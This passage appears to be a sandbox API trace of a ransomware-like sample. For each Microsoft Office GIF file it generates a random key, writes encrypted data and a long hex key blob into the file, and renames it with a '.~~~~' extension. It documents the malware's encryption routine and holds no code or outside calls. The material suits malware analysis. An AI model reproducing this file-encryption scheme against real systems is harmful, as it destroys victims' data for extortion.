	[0128.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b57a0
	[0128.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b57a0 | out: hHeap=0x300000) returned 1
	[0128.434] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.434] GetLastError () returned 0x0
	[0128.434] GetLastError () returned 0x0
	[0128.434] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.434] GetLastError () returned 0x0
	[0128.434] GetLastError () returned 0x0
	[0128.436] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffeed, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.436] WriteFile (in: hFile=0x128, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x25dfec0*=0x113, lpOverlapped=0x0) returned 1
	[0128.438] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0128.438] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.438] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.438] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.438] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.438] CloseHandle (hObject=0x128) returned 1
	[0128.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b57a0
	[0128.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21316_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21316_.gif.~~~~")) returned 1
	[0128.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b57a0 | out: hHeap=0x300000) returned 1
	[0128.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0128.532] GetLastError () returned 0x0
	[0128.533] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.534] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.534] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0128.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0128.534] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24852414309) returned 1
	[0128.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb60fa270, dwHighDateTime=0x1d60e1e)) 
	[0128.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0128.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0128.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0128.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e1f0
	[0128.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e1f0 | out: hHeap=0x300000) returned 1
	[0128.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb030
	[0128.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb030 | out: hHeap=0x300000) returned 1
	[0128.535] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.535] GetLastError () returned 0x0
	[0128.535] GetLastError () returned 0x0
	[0128.535] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.535] GetLastError () returned 0x0
	[0128.535] GetLastError () returned 0x0
	[0128.537] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.537] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xd4, lpOverlapped=0x0) returned 1
	[0128.538] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.538] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.538] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.538] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.539] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.539] CloseHandle (hObject=0x128) returned 1
	[0128.539] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bb030
	[0128.539] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21375_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21375_.gif.~~~~")) returned 1
	[0128.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb030 | out: hHeap=0x300000) returned 1
	[0128.540] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0128.540] GetLastError () returned 0x0
	[0128.541] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.542] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.542] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.542] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0128.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0128.542] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24853226546) returned 1
	[0128.542] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb61203d0, dwHighDateTime=0x1d60e1e)) 
	[0128.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0128.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0128.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0128.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e340
	[0128.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e340 | out: hHeap=0x300000) returned 1
	[0128.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bc1e8
	[0128.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.543] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc1e8 | out: hHeap=0x300000) returned 1
	[0128.543] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.543] GetLastError () returned 0x0
	[0128.543] GetLastError () returned 0x0
	[0128.543] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.543] GetLastError () returned 0x0
	[0128.544] GetLastError () returned 0x0
	[0128.545] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff4c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.545] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb4, lpOverlapped=0x0) returned 1
	[0128.547] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.547] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.547] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.547] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.548] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.548] CloseHandle (hObject=0x128) returned 1
	[0128.548] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bc1e8
	[0128.548] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21376_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21376_.gif.~~~~")) returned 1
	[0128.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc1e8 | out: hHeap=0x300000) returned 1
	[0128.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0128.550] GetLastError () returned 0x0
	[0128.551] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.552] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.552] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0128.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0128.553] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24854282588) returned 1
	[0128.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6146530, dwHighDateTime=0x1d60e1e)) 
	[0128.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0128.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0128.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0128.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e308
	[0128.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e308 | out: hHeap=0x300000) returned 1
	[0128.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bc290
	[0128.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.553] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc290 | out: hHeap=0x300000) returned 1
	[0128.554] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.554] GetLastError () returned 0x0
	[0128.554] GetLastError () returned 0x0
	[0128.554] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.554] GetLastError () returned 0x0
	[0128.554] GetLastError () returned 0x0
	[0128.556] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff51, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.556] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xaf, lpOverlapped=0x0) returned 1
	[0128.558] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.558] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.558] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.559] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.559] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.559] CloseHandle (hObject=0x128) returned 1
	[0128.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3bc290
	[0128.559] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21377_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21377_.gif.~~~~")) returned 1
	[0128.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bc290 | out: hHeap=0x300000) returned 1
	[0128.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0128.601] GetLastError () returned 0x0
	[0128.601] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.602] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.602] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0128.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0128.602] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24859247824) returned 1
	[0128.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb61b8950, dwHighDateTime=0x1d60e1e)) 
	[0128.602] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0128.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0128.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0128.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a99d0
	[0128.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a99d0 | out: hHeap=0x300000) returned 1
	[0128.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0128.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa508
	[0128.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0128.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.603] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0128.603] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.603] GetLastError () returned 0x0
	[0128.603] GetLastError () returned 0x0
	[0128.603] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.603] GetLastError () returned 0x0
	[0128.604] GetLastError () returned 0x0
	[0128.605] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffeff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.605] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x101, lpOverlapped=0x0) returned 1
	[0128.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.606] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.606] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.606] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.606] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.606] CloseHandle (hObject=0x128) returned 1
	[0128.606] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa508
	[0128.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21422_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21422_.gif.~~~~")) returned 1
	[0128.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa508 | out: hHeap=0x300000) returned 1
	[0128.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0128.608] GetLastError () returned 0x0
	[0128.756] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.758] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.758] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0128.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0128.758] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24874809377) returned 1
	[0128.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6335710, dwHighDateTime=0x1d60e1e)) 
	[0128.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0128.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0128.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
